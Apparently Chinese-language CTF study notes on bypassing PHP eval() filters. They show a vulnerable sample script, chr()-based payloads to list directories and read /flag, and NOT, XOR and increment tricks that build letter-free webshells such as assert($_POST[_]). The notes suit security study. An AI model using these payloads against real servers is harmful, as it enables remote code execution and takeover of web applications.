可以用 chr
来拼接。
<?php
error_reporting(0);
if(!isset($_GET['code'])){
show_source(__FILE__);
}else{
$str = $_GET['code'];
$blacklist = ['\'', '"'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
扫目录:print_r(scandir(chr(47)));
,读取 /flag
文件:file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103));
.
即 eval 的代码中不能存在字母和数字。主要有 取反绕过、异或绕过、自增绕过。一般在 php5 中,可以构造 (assert)(eval($_POST[1])) 的方式来 RCE,如果不能用,则可以使用 (call_user_func)(system, xxx) 来 RCE。
即先对字符串取反,然后再取反,就回到原来的了。
<?php
echo urlencode(~"phpinfo");
?>
得到 %8F%97%8F%96%91%99%90
,那么构造 (~%8F%97%8F%96%91%99%90)()
就可以 phpinfo 了。同样的,将想要的字符串取反,就可以 RCE 了。
<?php
echo urlencode(~"assert");
echo "\n";
echo urlencode(~"eval($_POST[1])");
在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母的 ASCII 码即可。
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
也可以用 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
。
具体和取反差不多。
$a="A"; 那么 $a++ 之后 $a 的值就变成了 "B"。而令 $_=''.[]
,$_
的值就是 "Array",再用 $_[$__]
就可以得到字母 "A"($__默认为 False,就是 0)。
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])